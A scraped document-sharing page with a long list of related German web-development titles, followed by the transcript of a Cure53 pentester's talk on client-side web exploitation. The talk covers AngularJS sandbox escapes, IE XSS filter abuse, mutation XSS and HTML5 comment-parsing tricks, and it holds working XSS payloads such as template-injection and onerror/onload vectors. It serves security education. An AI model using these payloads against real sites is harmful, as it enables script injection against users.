Exploiting the Client side hell of the web. Msc Alexander Inführ

Ähnliche Dokumente
When your browser turns against you Stealing local files

Markup Injections. Volksmund: XSS. Mario Heiderich

jquery Einstieg 2 CSS manipulieren; toggle, hide und show

Destructive AJAX. Stefan Proksch Christoph Kirchmayr

PHP-5-Zertifizierung. Block 12 Security.

XML, JSON. Und weitere Kuriositäten. Mario Heiderich

JavaScript aus der Hoelle ein Vortrag von Mario Heiderich OWASP Nuernberg 2009 AD

OWASP Stammtisch München Sep 2014 XSS und andere Sicherheitslücken aus der Perspektive des Programmcodes

2. WWW-Protokolle und -Formate

HTML Scripting. Informatik 1 für Nebenfachstudierende Grundmodul. Kai-Steffen Hielscher Folienversion: 06. Dezember 2017

Mul$media im Netz Wintersemester 2012/13. Übung 06

IT-Sicherheit. Sicherheit von Webanwendungen 7. Januar 2011

Mul$media im Netz (Online Mul$media) Wintersemester 2014/15. Übung 02 (Nebenfach)

Fehlende Input-Filterung. Klaus Kusche

JavaScript AJAX. Univ.-Prof. Dr.-Ing. Wolfgang Maass. Chair in Information and Service Systems Department of Law and Economics

01 Einführung in PHP. Einführung in PHP 1/13 PHP in Aktion

TopPlusOpen. Einbindung des Dienstes

Web-Techniken Einführung in JavaScript

Perl-Praxis. CGI-Skripte. Madis Rumming, Jan Krüger.

Scriptsprachen für dynamische Webauftritte

Mit PL/SQL auf s ipad

Sicherheit Web basierter Anwendungen

WebComponents. Bausteine des modernen Web

PHP, Ajax und JavaScript

Mit PL/SQL auf s ipad

Web-basierte Anwendungssysteme PHP Teil 2

Typo3 & QFQ. Carsten Rose, I-MATH, University of Zurich, 2017

Wiederholung: Dynamische Seiten mit Datenbanken. PHP JavaScript Kapitel 2

Web 2.0 (In) Security PHPUG Würzburg Björn Schotte

Der Server glüht, doch die Seite lahmt. Pagespeed-Optimierung jenseits des Servers

Übung zur Vorlesung Multimedia im Netz

Es gibt immer einen Schlüssel und einen zugehörigen Wert,

1. Ordnen Sie bei der angegebenen URI den einzelnen Teilen die entsprechenden Begriffe zu. [ ] fragment [ ] path [ ] scheme [ ] query [ ] authority

CS1024 Internetbasierte Systeme

Webseiten-Bericht für feedbackvote.com

Hackerpraktikum SS 202

NILS HARTMANN. React MODERNE WEB-ANWENDUNGEN MIT. Slides: BED-CON BERLIN SEPTEMBER

Check Point IPS. Agenda. Check Point & AlgoSec Security-Update 24./25. September «Eine Firewall ohne IPS ist keine Firewall»

ENTERPRISEY ANGULAR.JS

Vorlesung: Web Engineering. Kurs: TINF17A / TINF17B. Datum:

Secure Coding & Live Hacking von Webapplikationen. Conect Informunity

Aachen, den 19. Januar 2016

JUGS. Swiss RIA SIG. Kick-off Event. Kunden meinen. Techies sagen. Namics. Jürg Stuker. CEO. Partner. 20. Januar 2010

Dirk Ammelburger XML. Grundlagen der Sprache und Anwendungen in der Praxis HANSER

Einführung in die Web-bezogenen Sprachen Wintersemester 2015/16 Klausur 1,

Grundlagen Internet-Technologien. Serverseitige Web-Programmierung mit CGI, Teil II: Perl im Web Version 1.11

Multimedia im Netz Wintersemester 2012/13

PPS-Design einer eigenen WWW-Homepage WS 2002/2003. Anforderungen an eine Webseite


JavaScript und PHP-Merkhilfe

Multimedia im Netz. Übung zur Vorlesung. Ludwig-Maximilians-Universität Wintersemester 2010/2011

Stand und Ausblick

Multimedia im Netz Wintersemester 2013/14. Übung 05 (Nebenfach)

xflow Systemanforderungen

JSP Usereingabe. Inhalt. 1 Zielsetzung. SEW(3.Jg) Unterlagen zu Java Server-Pages Teil 2

NILS HARTMANN OLIVER ZEIGERMANN EINSTIEG IN. React.

Immer mehr lebt mobil

EntwicklerCamp inotes und XPages. Matthias Schneider

xflow Systemanforderungen Version 5.1.5

Funktionen in JavaScript

PHP JavaScript Kapitel 9. Java-Script-Objekte und das Event-Modell

VAADIN, SPRING BOOT & REST

tacho 3d vege Fotolia.com Kai Greinke

2. Webapplikationen. Webzugang. Präsentation. Geschäftslogik. Browser. Datenhaltung. JSP, Servlets, ASP, PHP. HTML + JavaScript? +Java Applets?

Web-Anwendungen Teil 2 PHP kl. Studienprojekt (Praktikum) Winter 2014/ Daniel Fett

Xpert.ivy Developer Day User Dialog Features. Autoren: Peter Stöckli & Flavio Sadeghi Datum: 14. Mai 2014

Schnelle Winkel. 10x schnellere Webapps mit AngularJS und Jee

JavaServer Faces. JSF die Oberfläche von Java EE 8 JSF - die Oberfläche von Jakarta EE. Michael

javascript Coding-Guidelines 2. Ausgabe Februar 2015 Der Guideline beschreibt den verwendeten Coding-Stil von javascript als eigene Richtline.

AJAX Security: Alte und neue Risiken bei Web 2.0 Webmontag Köln Björn Schotte

Enterprise PHP 5 Serviceorientierte und webbasierte Anwendungen für den Unternehmenseinsatz

Web Scraping. Seminar Aktuelle Software-Engineering Praktiken für das World Wide Web JK

jquery! JavaScript Frameworks Dr. Cora Burger

Ron Orp Spezifikationen Desktop, Tablet, Mobile, Newsletter, HTML5, Sponsored Post

Entwicklung einer Webseite zur Verwaltung von Prüfungsterminen

Ein Leben ohne Notes Client Sven Hasselbach

Eclipse Scout Heute und Morgen. Jérémie Bresson BSI Business Systems Integration AG

PHP & HTML. Kurzeinstieg HTML. Zellescher Weg 12 Willers-Bau A109 Tel Michael Kluge

Webseiten-Bericht für watch-freemovie-online.net

Proseminar Auszeichnungssprachen

Tragfähige Frontend-Architekturen

Dynamische Webseiten mit PHP. Oder: LAMP - The open way

Article Widgets für Publisher

Node.js Einführung Manuel Hart

Web 2.0 und Security MySQL Webinar Johann-Peter Hartmann

MySQL, Java und einiges mehr

1 Allgemein. 2 1st und 3rd Party Cookies. 2.1 Nutzung einer eigenen Track Domain

Einführung in die Scriptsprache PHP

Grundlagen Internet-Technologien. Clientseitige Web-Programmierung

Netzsicherheit 3 [Netsec3] Autoren: Prof. Dr. Jörg Schwenk. Ruhr - Universität Bochum

Konzeption und Implementierung einer dateibasierten Lösung zum Offline-Zugriff auf eine Enterprise 2.0 Plattform

Softwaresicherheit. Eine Präsentation von Benedikt Streitwieser und Max Göttl. Einführung Kryptographie und IT-Sicherheit

Programmieren im Web 2.0

Funktionen. - sind kleine, meist ausgelagerte Programme bzw. Programmfragmente. - können Werte zurückgeben, z.b. Berechnungen

Architektur von Informationssystemen. Hochschule für angewandte Wissenschaften Sommersemester 2016

Title-Tag. Titel des HTML-Dokuments. Keywordhäufigkeit im Titel. Keyworddichte im Titel. Position des Keywords im Titel 1/9

TYPO3 Security. Jochen Weiland TYPO3camp Berlin 2016

Transkript:

Exploiting the Client side hell of the web Msc Alexander Inführ

whoami MSc Alexander Inführ Pentester bei Cure53 Browser Security Web Security PDF Security

AngularJS Superheroic JavaScript MVVM Framework Ein JavaScript MVVM Framework Für dynamische Client Based Web Applikationen Verwendet Templates

<html ng-app> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"> </script> <body> <div> <label>name:</label> <input type="text" ng-model="yourname" placeholder="enter a name here"> <hr> <h1>hello {{yourname}}!</h1> <?php echo $_GET[ x ];?> </div> </body>

URL: /angular.php?x={{99-33}}

Break out of the sandbox {{99-33}} evaluates zu 66 Funktioniert an jedem Ort im HTML Dokument Benötigt keine normalen XSS HTML Zeichen (eg. < >) Bypassed dadurch viele Filter Sandbox kein Zugriff auf echtes Window object {{alert(location);alert(document.cookie)}} => Nicht erlaubt Viele Sandbox escapes öffentlich: Zugriff auf constructor.constructor Manipulation von nativen Funktionen (tostring etc.)

Beispiele {{constructor.constructor('alert(1)')()}} {{'a'.constructor.prototype.charat=''.valueof;$eval("x='\"+(y='if(! window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} {{ }} {}[{tostring:[].join,length:1,0:' proto '}].assign=[].join; 'a'.constructor.prototype.charat=''.valueof; $eval('x=alert(1)//'); http://blog.portswigger.net/2016/01/xss-without-html-client-sidetemplate.html

Latest News AngularJS droppt den Support für Sandbox Nie als Sicherheitsfeature gedacht Ständig neue Bypasses Zu viel Overhead Für Pentester: AngularJS Injection einfach zu exploiten

XXN X-XSS-Nightmare Präsentiert von Masato Kinugawa X-XSS-Protection: 1 0: Kein XSS Filter 1: Rewriting + Webseite parsen (Default) 1; mode=block: XSS erkannt => Webseite wird nicht weiter geparsed => Blank Page Targets Internet Explorer XSS Filter

IE XSS Filters Liste von Regex Regeln Überprüft URL, Header Values und Post Payloads Value Reflected in Server Response: XSS detected Angewandt führ verschiedene Kontexte: CSS Script tags In JavaScript Blocks

Reflected XSS Example URL: /?x=<svg onload=alert(1)>

Reflected XSS Filter IE XSS Filter Match /?x=<svg onload=alert(1) URL Payload matches in HTML Response XSS Attack detected -> Rewrite Payload

Take Away Einige XXN Bugs bereits gefixed X-XSS-Protection: 1 kann sichere Webseiten unsicher machen

MXSS Mario Heiderich innerhtml Apocalypse DOM Based XSS Mutation des Payloads via innerhtml etc.

Example IE 11 x.innerhtml => </style><img src=1 onerror=alert(1)> IE 9 x.innerhtml => <img onerror="alert(1)" src="1">

DOM IE 9 Mode IE DOM Explorer Broken zeigt nicht richtigen DOM innerhtml decodierte < und > <img> wird danach geparsed und onerror ausgeführt

Nicht nur IE betroffen Viele Beispiele sind mittlerweile gefixed MXSS eine große Gefahr für XSS Filter Eg. Google Caja Ab und zu werden noch neue Varianten entdeckt

HTML5 Komment Parsing HTML5 Viele neue Features! HTML 5 Komment Parsing Nicht sehr bekannt Wirkt wie ein Bug

<!DOCTYPE html> <body> <script> var a = "INJECTION1"</script><script> var b = "INJECTION2"</script> </body> Filter Keine Anführungszeichen " </script> nicht erlaubt Kein Backslash New Lines sind erlaubt

Lösung <!DOCTYPE html> <body> <script> var a = "<!--<script>"</script><script> var b = "/+alert(1) -->" </script> </body> Das Verhalten lässt sich noch optimieren

Abwandlung Alert außerhalb des Skript Tags! <!DOCTYPE html> <body> <script> var a = "<!--<script>"</script>/+alert(1) --></script> </body>

Erklärung <script> var a = "<!--<script>anything"</script><script> var b = "/+alert(1) -->" </script> Parsed Content: </script><script> var b = "/+alert(1) -->" Blau: Less Then operator Rot: Regular Expression Orange: Kommentar für Unterminated String Error

XSS via location.pathname http://example.com/test/ >/dddd Location.pathname "/test/%22'%3e/dddd Oft verwendet in Tracking Code

Challenge Jquery + Jquery Mobile wird geladen Jqery Mobile pushstateenabled Location.hash endet in history.pushstate History.pushState erlaubt es einen neuen Pfad zu setzen, der nicht geladen wird. Same Origin

The vulnerable code <script> $(document).ready(function() { $('body').append( ' <img class="log" src="/payloadlogger?url=' + location.protocol + "//" + location.host + location.pathname + escape(location.search) + escape(location.hash) + '">'); }) </script>

Solution Internet Explorer only http://challenge/challenge.html#mhtml:http://challenge/challenge.ht ml history.pushstate({},{},'mhtml:http://challenge /challenge.html"><svg onload=alert(1)>') location.pathname => http://challenge/challenge.html"><svg onload=alert(1)>

URLS http://l0.cm/xxn/ http://de.slideshare.net/x00mario/the-innerhtml-apocalypse https://github.com/cure53/xsschallengewiki/wiki/shibuya.xss- JIZEN-GAKUSHU-Challenge https://www.youtube.com/watch?v=wzrojhhyqwc